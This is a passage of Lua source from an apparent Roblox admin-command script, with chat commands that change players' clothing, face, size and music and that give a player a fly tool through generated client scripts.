for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;shirt &quot; then
local sep = msg:find(&quot; &quot;, 7)
local chk2 = msg:sub(sep + 1)
local idNum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(7, sep - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
for i, v in pairs(v.Character:children()) do
if v:isA(&quot;Shirt&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = (idNum &lt;= 5000 and &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=shirt&quot; or &quot;http://www.roblox.com/asset/?id=&quot;..chk2) v:Remove() end
end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;pants &quot; then
local sep = msg:find(&quot; &quot;, 7)
local chk2 = msg:sub(sep + 1)
local idNum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(7, sep - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i, v in pairs(v.Character:children()) do
if v:isA(&quot;Pants&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = (idNum &lt; 5000 and &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=pants&quot; or &quot;http://www.roblox.com/asset/?id=&quot;..chk2) v:Remove() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;face &quot; then
local chk1 = msg:find(&quot; &quot;, 6)
local chk2 = msg:sub(chk1 + 1)
local idnum = tonumber(chk2) or 0
local plrz = GetPlr(plr, msg:sub(6, chk1 - 1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then
if v.Character.Head:findFirstChild(&quot;face&quot;) then
local link = idnum &gt; 2000 and &quot;http://www.roblox.com/asset/?id=&quot;..chk2 or &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=face&quot;
v.Character.Head:findFirstChild(&quot;face&quot;).Texture = link
elseif v.Character.Head:findFirstChild(&quot;Decal&quot;) then
local link = idnum &gt; 2000 and &quot;http://www.roblox.com/asset/?id=&quot;..chk2 or &quot;http://1.0char.co/Catalog/catalogitem.php?id=&quot;..chk2..&quot;&amp;type=face&quot;
v.Character.Head:findFirstChild(&quot;Decal&quot;).Texture = link
end
end
end))
end
end


---------------------
--   FunCommands   --
---------------------
if FunCommands or ChkOwner(plr.Name:lower()) then

if msg:lower():sub(1,5) == &quot;size &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
--coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
pcall(function() if v.Character:findFirstChild(&quot;giantscript&quot;) then v.Character.giantscript:Remove() end end)
pcall(function() if v.Character:findFirstChild(&quot;gubbyresize&quot;) then v.Character.gubbyresize:Remove() end end)
local giant = script.scripts.giantscript:clone()
local gubbyresize = script.scripts.gubbyresize:clone()
local val = tonumber(msg:sub(chk1 + 1))

if val &gt; 250 then --lot of bugs occur after 250
&#9;val = 250
end

if v.Character:findFirstChild(&quot;gubby&quot;) then --v.Character:findFirstChild(&quot;gubbyresize&quot;) or
&#9;gubbyresize.modifier.Value = val
&#9;gubbyresize.Parent = v.Character
&#9;gubbyresize.Disabled = false
else
&#9;giant.modifier.Value = val
&#9;giant.Parent = v.Character
end
wait(0.1)
--v.Character:findFirstChild(&quot;Animate&quot;):Remove()
pcall(function() if v.Character:findFirstChild(&quot;Animate&quot;):findFirstChild(&quot;climb&quot;) then 
local anim2 = script.scripts.Animate2:clone()
v.Character.Animate:Remove()
print(0.1)
anim2.Name = &quot;Animate&quot;
anim2.Parent = v.Character
print(0.2)
else
local anim = script.scripts.Animate:clone()
v.Character.Animate:Remove()
anim.Parent = v.Character
end

for i, a in ipairs(v.Character.Torso:children()) do --hopefully this fixes limbs from being offset???
&#9;if a:isA(&quot;Motor&quot;) then
&#9;a.CurrentAngle = 0
&#9;a.DesiredAngle = 0
end end
if v.Character:findFirstChild(&quot;giantscript&quot;) then
giant.Disabled = false
elseif
v.Character:findFirstChild(&quot;gubbyresize&quot;) then
gubbyresize.Disabled = false
end
end)
end
--end))
end
end


if msg:lower():sub(1,8) == &quot;swagify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) then
local aaa = e:Clone()
aaa.Parent = v.Character
aaa.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot;
e.Parent = v.Character.Torso
elseif e:isA(&quot;Pants&quot;) then
local aaa = e:Clone()
aaa.Parent = v.Character
aaa.PantsTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot;
e.Parent = v.Character.Torso
end
end
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
local cl = script.scripts.swagify:Clone() cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end



if msg:lower():sub(1,6) == &quot;music &quot; then
for i, v in pairs(game.Workspace:children()) do if v.Name == &quot;InsertedSound123&quot; then v:stop() wait(0.1) v:Remove() end end
local id = msg:sub(7)
local pitch = 1
if tostring(id):lower():find(&quot;caramell&quot;) then id = 2303479 end
if tostring(id):lower():find(&quot;epic&quot;) then id = 27697743 pitch = 2.5 end
if tostring(id):lower():find(&quot;rick&quot;) then id = 500 end -- 2027611
if tostring(id):lower():find(&quot;halo&quot;) then id = 1034065 end
if tostring(id):lower():find(&quot;pokemon&quot;) then id = 1372261 end
if tostring(id):lower():find(&quot;cursed&quot;) then id = 1372257 end
if tostring(id):lower():find(&quot;extreme&quot;) then id = 11420933 end
if tostring(id):lower():find(&quot;awaken&quot;) then id = 27697277 end
if tostring(id):lower():find(&quot;alone&quot;) then id = 27697392 end
if tostring(id):lower():find(&quot;mario&quot;) then id = 1280470 end
if tostring(id):lower():find(&quot;choir&quot;) then id = 1372258 end
if tostring(id):lower():find(&quot;chrono&quot;) then id = 1280463 end
if tostring(id):lower():find(&quot;dotr&quot;) then id = 11420922 end
if tostring(id):lower():find(&quot;entertain&quot;) then id = 27697267 end
if tostring(id):lower():find(&quot;fantasy&quot;) then id = 1280473 end
if tostring(id):lower():find(&quot;final&quot;) then id = 1280414 end
if tostring(id):lower():find(&quot;emblem&quot;) then id = 1372259 end
if tostring(id):lower():find(&quot;flight&quot;) then id = 27697719 end
if tostring(id):lower():find(&quot;banjo&quot;) then id = 27697298 end
if tostring(id):lower():find(&quot;gothic&quot;) then id = 27697743 end
if tostring(id):lower():find(&quot;hiphop&quot;) then id = 27697735 end
if tostring(id):lower():find(&quot;intro&quot;) then id = 27697707 end
if tostring(id):lower():find(&quot;mule&quot;) then id = 1077604 end
if tostring(id):lower():find(&quot;film&quot;) then id = 27697713 end
if tostring(id):lower():find(&quot;nezz&quot;) then id = 8610025 end
if tostring(id):lower():find(&quot;angel&quot;) then id = 1372260 end
if tostring(id):lower():find(&quot;resist&quot;) then id = 27697234 end
if tostring(id):lower():find(&quot;schala&quot;) then id = 5985787 end
if tostring(id):lower():find(&quot;organ&quot;) then id = 11231513 end
if tostring(id):lower():find(&quot;tunnel&quot;) then id = 9650822 end
if tostring(id):lower():find(&quot;spanish&quot;) then id = 5982975 end
if tostring(id):lower():find(&quot;venom&quot;) then id = 1372262 end
if tostring(id):lower():find(&quot;wind&quot;) then id = 1015394 end
if tostring(id):lower():find(&quot;guitar&quot;) then id = 5986151 end
local num = tonumber(id)
local url
if num then
if num &lt; 497 then -- this method will only work for so long..
url = &quot;https://1.0char.co/sound/?id=&quot;..num
elseif num &gt;= 498 and num &lt;= 1500 then
url = &quot;http://1.0char.co/asset/?id=&quot;..num
else
url = &quot;http://www.roblox.com/asset/?id=&quot;..num
end
else
url = &quot;http://www.roblox.com/asset/?id=&quot;..tostring(id)
end
local s = Instance.new(&quot;Sound&quot;, game.Workspace) s.Name = &quot;InsertedSound123&quot; s.SoundId = url s.Volume = 1 s.Pitch = pitch s.Looped = true pcall(function() s.archivable = true end) pcall(function() s.Archivable = true end)  s:play() wait(0.05) s:stop() wait(0.85) s:play() --janky but it works reliably. isplaying does not exist on ab for whatever reason, nor will it play a first-time audio without playing/loading. preloading doesn&apos;t work either. this allows the audio to load for 0.85 seconds before playing, thus reliably playing it
end

if msg:lower() == &quot;stopmusic&quot; then
for i, v in pairs(game.Workspace:children()) do if v:isA(&quot;Sound&quot;) and v.Name == &quot;InsertedSound123&quot; then v:stop() wait(0.1) v:Remove() end end
end

if msg:lower() == &quot;musiclist&quot; then
if plr.PlayerGui:findFirstChild(&quot;MUSICGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;MUSICGUI&quot; scr.Parent = plr.PlayerGui
local list = {&quot;caramell&quot;,&quot;epic&quot;,&quot;rick&quot;,&quot;halo&quot;,&quot;pokemon&quot;,&quot;cursed&quot;,&quot;extreme&quot;,&quot;awaken&quot;,&quot;alone&quot;,&quot;mario&quot;,&quot;choir&quot;,&quot;chrono&quot;,&quot;dotr&quot;,&quot;entertain&quot;,&quot;fantasy&quot;,&quot;final&quot;,&quot;emblem&quot;,&quot;flight&quot;,&quot;banjo&quot;,&quot;gothic&quot;,&quot;hiphop&quot;,&quot;intro&quot;,&quot;mule&quot;,&quot;film&quot;,&quot;nezz&quot;,&quot;angel&quot;,&quot;resist&quot;,&quot;schala&quot;,&quot;organ&quot;,&quot;tunnel&quot;,&quot;spanish&quot;,&quot;venom&quot;,&quot;wind&quot;,&quot;guitar&quot;}
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end

if msg:lower():sub(1, 4) == &quot;fly &quot; then -- GPT SLOP ALERT!!!!!
    local plrz = GetPlr(plr, msg:lower():sub(5))
    for i, v_loop in pairs(plrz) do -- Use a different variable name like v_loop
        -- Define the function to be run in the coroutine
        local flyCoroutineFunction = function()
            local v = v_loop -- Capture the player for this specific coroutine instance
            print(&quot;Server: Processing :fly for player &quot; .. v.Name)
            -- Find PlayerGui and Backpack
            local playerGui = v:findFirstChild(&quot;PlayerGui&quot;)
            local backpack = v:findFirstChild(&quot;Backpack&quot;)
            local character = v.Character -- Get character early for equipping

            -- Initial checks - return early if objects are missing
            if not v then print(&quot;Server Error: Target player &apos;v&apos; is nil!&quot;) return end
            if not playerGui then print(&quot;Server Error: PlayerGui not found for &quot; .. v.Name) return end
            if not backpack then print(&quot;Server Error: Backpack not found for &quot; .. v.Name) return end
            -- Need character to parent the tool to
            if not character then print(&quot;Server Error: Character not found for &quot; .. v.Name .. &quot;, cannot parent tool.&quot;) return end

            -- Find the LocalScriptBase template
            local launcherScriptTemplate = script:findFirstChild(&quot;LocalScriptBase&quot;)
            if not launcherScriptTemplate or not launcherScriptTemplate:findFirstChild(&quot;Code&quot;) then
                 print(&quot;SERVER ERROR: Cannot find &apos;LocalScriptBase&apos; template or its &apos;Code&apos; StringValue!&quot;)
                 return -- Stop if template is invalid
            end

            -- If we reach here, prerequisites are met
            print(&quot;Server: Found PlayerGui, Backpack, Character, and LocalScriptBase template for &quot; .. v.Name)

            -- Remove any existing FlyScript or FlyTool first
            local oldFlyScript = playerGui:findFirstChild(&quot;FlyScript&quot;)
            if oldFlyScript then print(&quot;Server: Removing old FlyScript for &quot;..v.Name); oldFlyScript:Remove() end
            -- Check for HopperBin named FlyTool in Backpack and Character
            local oldToolBP = backpack:findFirstChild(&quot;FlyTool&quot;)
            if oldToolBP then print(&quot;Server: Removing old FlyTool from Backpack for &quot;..v.Name); oldToolBP:Remove() end
            local oldToolChar = character:findFirstChild(&quot;FlyTool&quot;)
            if oldToolChar then print(&quot;Server: Removing old FlyTool from Character for &quot;..v.Name); oldToolChar:Remove() end


            -- 1. SERVER: PREPARE THE FALLBACK HOPPERBIN &amp; ITS SCRIPT (by cloning LocalScriptBase)
            print(&quot;Server: Creating fallback FlyTool (HopperBin)...&quot;)
            local flyTool = Instance.new(&quot;HopperBin&quot;) -- Use HopperBin
            flyTool.Name = &quot;FlyTool&quot;
            flyTool.BinType = 0 -- SET BINTYPE TO GameTool (0)

            -- Clone LocalScriptBase to be the Tool&apos;s script
            local toolScriptClone = launcherScriptTemplate:Clone()
            toolScriptClone.Name = &quot;ToolFlyLogic&quot;
            toolScriptClone.Disabled = true -- Start DISABLED (Launcher will enable if needed)

            -- Find the StringValue within the clone
            local codeStringValue = toolScriptClone:findFirstChild(&quot;Code&quot;)
            if not codeStringValue then
                 print(&quot;SERVER ERROR: Cloned LocalScriptBase for Tool is missing &apos;Code&apos; StringValue!&quot;)
                 if flyTool then flyTool:Remove() end
                 return -- Stop
            end

            -- Define the Tool&apos;s script source code (that will go into the StringValue)
            -- *** Modified Selected/Deselected/StopFly logic ***
            local toolFlyLogicSource = [[
print(&quot;ToolFlyLogic: Script source defined.&quot;)

local tool = script.Parent
if not tool or tool.className ~= &quot;HopperBin&quot; then
     print(&quot;ToolFlyLogic Error: Parent is not a HopperBin! Parent is: &quot; .. (tool and tool.className or &quot;nil&quot;))
     return
end
print(&quot;ToolFlyLogic: Parent tool found: &quot; .. tool.Name)

local plr = nil
local torso = nil
local mouse = nil
local flying = false -- Start not flying
local activeFlyCoroutine = nil -- Track the active coroutine
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50 -- Original Max Speed
local speed = 0
local bodyGyro = nil
local bodyVel = nil
local keyDownConn = nil
local keyUpConn = nil
local selectedConn = nil
local deselectedConn = nil

function Fly()
    -- This function now runs the main loop
    if not torso or not torso.Parent then flying = false; return end
    print(&quot;ToolFlyLogic: Fly() coroutine started.&quot;)

    -- Ensure movers exist and are parented correctly at the start
    if not bodyGyro or bodyGyro.Parent ~= torso then
        if bodyGyro then bodyGyro:Remove() end
        bodyGyro = Instance.new(&quot;BodyGyro&quot;, torso)
        pcall(function() bodyGyro.P = 9e4 end)
        pcall(function() bodyGyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) end)
        bodyGyro.cframe = torso.CFrame
    end
    if not bodyVel or bodyVel.Parent ~= torso then
         if bodyVel then bodyVel:Remove() end
         bodyVel = Instance.new(&quot;BodyVelocity&quot;, torso)
         bodyVel.velocity = Vector3.new(0, 0.1, 0)
         pcall(function() bodyVel.maxForce = Vector3.new(9e9, 9e9, 9e9) end)
    end
    print(&quot;ToolFlyLogic: Body movers confirmed/created.&quot;)

    -- Main fly loop
    while flying and bodyGyro and bodyGyro.Parent == torso and bodyVel and bodyVel.Parent == torso do
        wait()
        local humanoid = plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
        if humanoid then
             humanoid.PlatformStand = true
        else
             print(&quot;ToolFlyLogic: Humanoid lost during flight, stopping.&quot;)
             flying = false -- Stop the loop
             break
        end

        -- Acceleration/Deceleration
        if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
            speed = speed + 0.5 + (speed / maxspeed)
            if speed &gt; maxspeed then speed = maxspeed end
        elseif speed ~= 0 then
            speed = speed - 1
            if speed &lt; 0 then speed = 0 end
        end

        local cam = game.Workspace.CurrentCamera
        local camSuccess, err = pcall(function()
            if cam then
                local lookVector = cam.CoordinateFrame.lookVector
                local rightVector = cam.CoordinateFrame * Vector3.new(1, 0, 0)
                if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
                    bodyVel.velocity = ((lookVector * (ctrl.f+ctrl.b)) + ((cam.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                    lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
                elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
                    bodyVel.velocity = ((lookVector * (lastctrl.f+lastctrl.b)) + ((cam.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                else
                    bodyVel.velocity = Vector3.new(0,0.1,0)
                end
                bodyGyro.cframe = cam.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
            else
                 bodyVel.velocity = Vector3.new(0,0.1,0)
            end
        end)
        if not camSuccess then
             print(&quot;ToolFlyLogic: Error during CFrame/Velocity calc: &quot; .. tostring(err))
             bodyVel.velocity = Vector3.new(0,0.1,0)
        end
    end -- *** End of while loop ***

    print(&quot;ToolFlyLogic: Exiting Fly loop naturally or due to stop signal.&quot;)
    -- Cleanup after loop finishes
    ctrl = {f=0,b=0,l=0,r=0}; lastctrl={f=0,b=0,l=0,r=0}; speed=0
    if bodyGyro and bodyGyro.Parent then pcall(function() bodyGyro:Remove() end) end
    if bodyVel and bodyVel.Parent then pcall(function() bodyVel:Remove() end) end
    bodyGyro = nil; bodyVel = nil
    local humanoid = plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    if humanoid then
        print(&quot;ToolFlyLogic: Setting PlatformStand false after loop exit.&quot;)
        pcall(function() humanoid.PlatformStand = false end)
    end
    activeFlyCoroutine = nil -- Clear the coroutine tracker
end

function StopFly()
    if not flying then return end
    print(&quot;ToolFlyLogic: StopFly() called.&quot;)
    flying = false -- Signal the loop to stop
    -- The loop itself will handle cleanup now when it exits
end

function DisconnectEvents()
    print(&quot;ToolFlyLogic: Disconnecting input events.&quot;)
    if keyDownConn then pcall(function() keyDownConn:disconnect() end); keyDownConn = nil end
    if keyUpConn then pcall(function() keyUpConn:disconnect() end); keyUpConn = nil end
end

selectedConn = tool.Selected:connect(function(toolMouse)
    print(&quot;ToolFlyLogic: HopperBin Selected.&quot;)
    mouse = toolMouse
    plr = game.Players.LocalPlayer
    if plr and plr.Character then torso = plr.Character:findFirstChild(&quot;Torso&quot;) end

    if not torso then print(&quot;ToolFlyLogic: Torso not found on select.&quot;) return end
    if not mouse then print(&quot;ToolFlyLogic: Mouse not provided on select.&quot;) return end

    DisconnectEvents() -- Disconnect previous just in case

    keyDownConn = mouse.KeyDown:connect(function(key)
        key = key:lower()
        if key == &quot;e&quot; then
             if flying then
                 StopFly()
             else
                 -- Only start if not already flying
                 if not flying then
                     flying = true;
                     -- Start the coroutine if not already running
                     if not activeFlyCoroutine or coroutine.status(activeFlyCoroutine) == &quot;dead&quot; then
                         activeFlyCoroutine = coroutine.create(Fly)
                         coroutine.resume(activeFlyCoroutine)
                     end
                 end
             end
        elseif key == &quot;w&quot; then ctrl.f = 1 elseif key == &quot;s&quot; then ctrl.b = -1
        elseif key == &quot;a&quot; then ctrl.l = -1 elseif key == &quot;d&quot; then ctrl.r = 1
        end
    end)

    keyUpConn = mouse.KeyUp:connect(function(key)
        key = key:lower()
        if key == &quot;w&quot; then ctrl.f = 0 elseif key == &quot;s&quot; then ctrl.b = 0
        elseif key == &quot;a&quot; then ctrl.l = 0 elseif key == &quot;d&quot; then ctrl.r = 0
        end
    end)

    -- *** Auto-start flying on first selection ***
    if not flying then
        print(&quot;ToolFlyLogic: Auto-starting fly on selection.&quot;)
        flying = true
        -- Start the coroutine if not already running
        if not activeFlyCoroutine or coroutine.status(activeFlyCoroutine) == &quot;dead&quot; then
             activeFlyCoroutine = coroutine.create(Fly)
             coroutine.resume(activeFlyCoroutine)
        end
    end
end)

deselectedConn = tool.Deselected:connect(function()
    print(&quot;ToolFlyLogic: HopperBin Deselected.&quot;)
    StopFly()
    DisconnectEvents()
    mouse = nil
    torso = nil
end)

script.DescendantRemoving:connect(function(descendant)
    if descendant == script then
        print(&quot;ToolFlyLogic: Script removing, cleaning up.&quot;)
        StopFly()
        DisconnectEvents()
        if selectedConn then pcall(function() selectedConn:disconnect() end) end
        if deselectedConn then pcall(function() deselectedConn:disconnect() end) end
    end
end)

print(&quot;ToolFlyLogic: Setup complete, waiting for selection.&quot;)
]] -- END OF toolFlyLogicSource

            -- SERVER sets the VALUE of the StringValue in the CLONED script
            codeStringValue.Value = toolFlyLogicSource
            toolScriptClone.Parent = flyTool -- Parent the CLONED script (with code value set) to the Tool

            -- Parent the prepared tool to the CHARACTER for auto-equip
            flyTool.Parent = backpack
            print(&quot;Server: Placed DISABLED FlyTool (HopperBin) in Character for &quot; .. v.Name)

            -- 2. SERVER: CREATE THE LAUNCHER SCRIPT (Checks GetMouse)
            print(&quot;Server: Creating launcher FlyScript...&quot;)
            local cl = launcherScriptTemplate:Clone() -- Clone the base template AGAIN for the launcher
            cl.Name = &quot;FlyScript&quot;

            -- Define the LocalScript code for the launcher
            -- *** Ensures Method 2 enables the tool script ***
            local launcherSource = [=[
print(&quot;FlyScript Initializing...&quot;)
-- Wait for essential objects
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild(&quot;Torso&quot;) and game.Players.LocalPlayer.Character:findFirstChild(&quot;Humanoid&quot;)

local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local mouse = nil

-- Attempt to get the mouse object using pcall
local success, result = pcall(function()
    return plr:GetMouse()
end)

if success and result then
    print(&quot;FlyScript: GetMouse() successful. Using direct mouse input method (Original 2013 style).&quot;)
    mouse = result
    -- Wait until the mouse object is actually usable (paranoid check)
    local waitTime = 0
    local mouseUsable = false
    while waitTime &lt; 3 do -- Check for a few seconds
        local hitSuccess, _ = pcall(function() return mouse.Hit end) -- Check if .Hit exists and doesn&apos;t error
        if hitSuccess then
             mouseUsable = true
             break
        end
        wait(0.1)
        waitTime = waitTime + 0.1
    end

    if not mouseUsable then
        print(&quot;FlyScript: Error - Mouse object obtained but seems unusable. Aborting direct method.&quot;)
        mouse = nil -- Treat as failure
    end
else
    print(&quot;FlyScript: LocalPlayer:GetMouse() failed or returned nil. Error: &quot;, result)
    mouse = nil -- Ensure mouse is nil if it failed
end

-- ==================================================================
-- == METHOD 1: Direct Mouse Input (If GetMouse worked)            ==
-- == Runs the original 2013 fly script logic AND removes fallback ==
-- ==================================================================
if mouse then
    print(&quot;FlyScript: Running original 2013 fly logic...&quot;)

    -- Remove the fallback tool from backpack AND character as it&apos;s not needed
    local backpack = plr:findFirstChild(&quot;Backpack&quot;)
    if backpack then
        local fallbackTool = backpack:findFirstChild(&quot;FlyTool&quot;)
        if fallbackTool then
            print(&quot;FlyScript: Removing fallback FlyTool from Backpack.&quot;)
            fallbackTool:Remove()
        end
    end
    if plr.Character then
         local fallbackToolChar = plr.Character:findFirstChild(&quot;FlyTool&quot;)
         if fallbackToolChar then
             print(&quot;FlyScript: Removing fallback FlyTool from Character.&quot;)
             fallbackToolChar:Remove()
         end
    end


    -- Execute the code stored in *this* script&apos;s StringValue child
    local codeValue = script:findFirstChild(&quot;Code&quot;)
    if codeValue and codeValue.Value ~= &quot;&quot; then
         local func = loadstring(codeValue.Value)
         if func then
             print(&quot;FlyScript: Executing code from StringValue...&quot;)
             -- Re-paste the original 2013 LocalScript code here directly
             --[[ Start Original 2013 Code ]]
             repeat wait() until mouse
             local plr = game.Players.LocalPlayer
             local torso = plr.Character.Torso
             local flying = true
             local deb = true
             local ctrl = {f = 0, b = 0, l = 0, r = 0}
             local lastctrl = {f = 0, b = 0, l = 0, r = 0}
             local maxspeed = 50 -- Original Max Speed
             local speed = 0
             local bodyGyro = nil
             local bodyVel = nil

             function Fly()
                 if not torso or not torso.Parent then flying = false; return end
                 if not flying then return end

                 if not bodyGyro or bodyGyro.Parent ~= torso then
                      if bodyGyro then bodyGyro:Remove() end
                      bodyGyro = Instance.new(&quot;BodyGyro&quot;, torso)
                      pcall(function() bodyGyro.P = 9e4 end) -- Original P
                      pcall(function() bodyGyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) end) -- Original Torque
                      bodyGyro.cframe = torso.CFrame
                 end
                 if not bodyVel or bodyVel.Parent ~= torso then
                      if bodyVel then bodyVel:Remove() end
                      bodyVel = Instance.new(&quot;BodyVelocity&quot;, torso)
                      bodyVel.velocity = Vector3.new(0, 0.1, 0)
                      pcall(function() bodyVel.maxForce = Vector3.new(9e9, 9e9, 9e9) end) -- Original Force
                 end

                 while flying and bodyGyro and bodyGyro.Parent == torso and bodyVel and bodyVel.Parent == torso do
                     wait()
                     local humanoid = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
                     if humanoid then humanoid.PlatformStand = true end

                     if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
                         speed = speed + 0.5 + (speed / maxspeed) -- Original acceleration
                         if speed &gt; maxspeed then speed = maxspeed end
                     elseif speed ~= 0 then
                         speed = speed - 1 -- Original deceleration
                         if speed &lt; 0 then speed = 0 end
                     end

                     local cam = game.Workspace.CurrentCamera
                     local camSuccess, _ = pcall(function()
                         if cam then
                             -- *** Original Velocity Calculation ***
                             if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
                                 bodyVel.velocity = ((cam.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((cam.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                                 lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
                             elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
                                 bodyVel.velocity = ((cam.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((cam.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - cam.CoordinateFrame.p))*speed
                             else
                                 bodyVel.velocity = Vector3.new(0,0.1,0)
                             end
                             -- *** Original Orientation Calculation ***
                             bodyGyro.cframe = cam.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
                         else
                             bodyVel.velocity = Vector3.new(0,0.1,0)
                         end
                     end)
                     if not camSuccess then bodyVel.velocity = Vector3.new(0,0.1,0) end

                     if not bodyGyro or bodyGyro.Parent ~= torso or not bodyVel or bodyVel.Parent ~= torso then
                          flying = false
                     end
                 end -- *** End of WHILE loop ***

                 print(&quot;FlyScript (Original): Exiting Fly loop.&quot;)
                 ctrl = {f = 0, b = 0, l = 0, r = 0}
                 lastctrl = {f = 0, b = 0, l = 0, r = 0}
                 speed = 0
                 if bodyGyro and bodyGyro.Parent then bodyGyro:Remove() end
                 if bodyVel and bodyVel.Parent then bodyVel:Remove() end
                 bodyGyro = nil; bodyVel = nil
                 local humanoid = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
                 if humanoid then humanoid.PlatformStand = false end
             end

             mouse.KeyDown:connect(function(key)
                 key = key:lower()
                 if key == &quot;e&quot; then
                     if flying then
                          flying = false
                     else
                          if not flying then
                              flying = true
                              coroutine.resume(coroutine.create(Fly)) -- Use coroutine
                          end
                     end
                 elseif key == &quot;w&quot; then ctrl.f = 1
                 elseif key == &quot;s&quot; then ctrl.b = -1
                 elseif key == &quot;a&quot; then ctrl.l = -1
                 elseif key == &quot;d&quot; then ctrl.r = 1
                 end
             end)

             mouse.KeyUp:connect(function(key)
                 key = key:lower()
                 if key == &quot;w&quot; then ctrl.f = 0
                 elseif key == &quot;s&quot; then ctrl.b = 0
                 elseif key == &quot;a&quot; then ctrl.l = 0
                 elseif key == &quot;d&quot; then ctrl.r = 0
                 end
             end)

             coroutine.resume(coroutine.create(Fly)) -- Initial call using coroutine
             print(&quot;FlyScript (Original): Setup complete.&quot;)
             --[[ End Original 2013 Code ]]
         else
             print(&quot;FlyScript Error: loadstring failed for Method 1!&quot;)
         end
    else
         print(&quot;FlyScript Error: Could not find Code StringValue for Method 1!&quot;)
    end


-- ==================================================================
-- == METHOD 2: Tool Fallback (If GetMouse failed)                 ==
-- == Enables the pre-placed Tool&apos;s script and removes self        ==
-- ==================================================================
else
    print(&quot;FlyScript: GetMouse() failed. Enabling Tool fallback method...&quot;)
    local backpack = plr:findFirstChild(&quot;Backpack&quot;)
    local character = plr.Character
    local flyTool = nil

    -- Look for the tool in backpack first, then character
    if backpack then flyTool = backpack:findFirstChild(&quot;FlyTool&quot;) end
    if not flyTool and character then flyTool = character:findFirstChild(&quot;FlyTool&quot;) end

    if flyTool then
        local toolLogicScript = flyTool:findFirstChild(&quot;ToolFlyLogic&quot;) -- Find the script by its name
        if toolLogicScript then
            print(&quot;FlyScript: Enabling ToolFlyLogic script.&quot;)
            toolLogicScript.Disabled = false -- *** ENABLE the script ***
        else
            print(&quot;FlyScript Error: Could not find ToolFlyLogic script inside FlyTool!&quot;)
        end
    else
        print(&quot;FlyScript Error: Could not find FlyTool in Backpack or Character to enable!&quot;)
    end

    -- Remove this launcher script as its job is done (or failed)
    print(&quot;FlyScript: Removing self.&quot;)
    wait(0.1) -- Add small delay before removing to ensure enabling happens
    script:Remove()
end -- End of if/else for method selection

]=] -- END OF OUTER LOCALSCRIPT CODE.VALUE STRING - Using ]=] to close

            -- SERVER sets the VALUE of the StringValue in the LAUNCHER script clone
            local launcherCodeValue = cl:findFirstChild(&quot;Code&quot;)
            if launcherCodeValue then
                launcherCodeValue.Value = launcherSource
            else
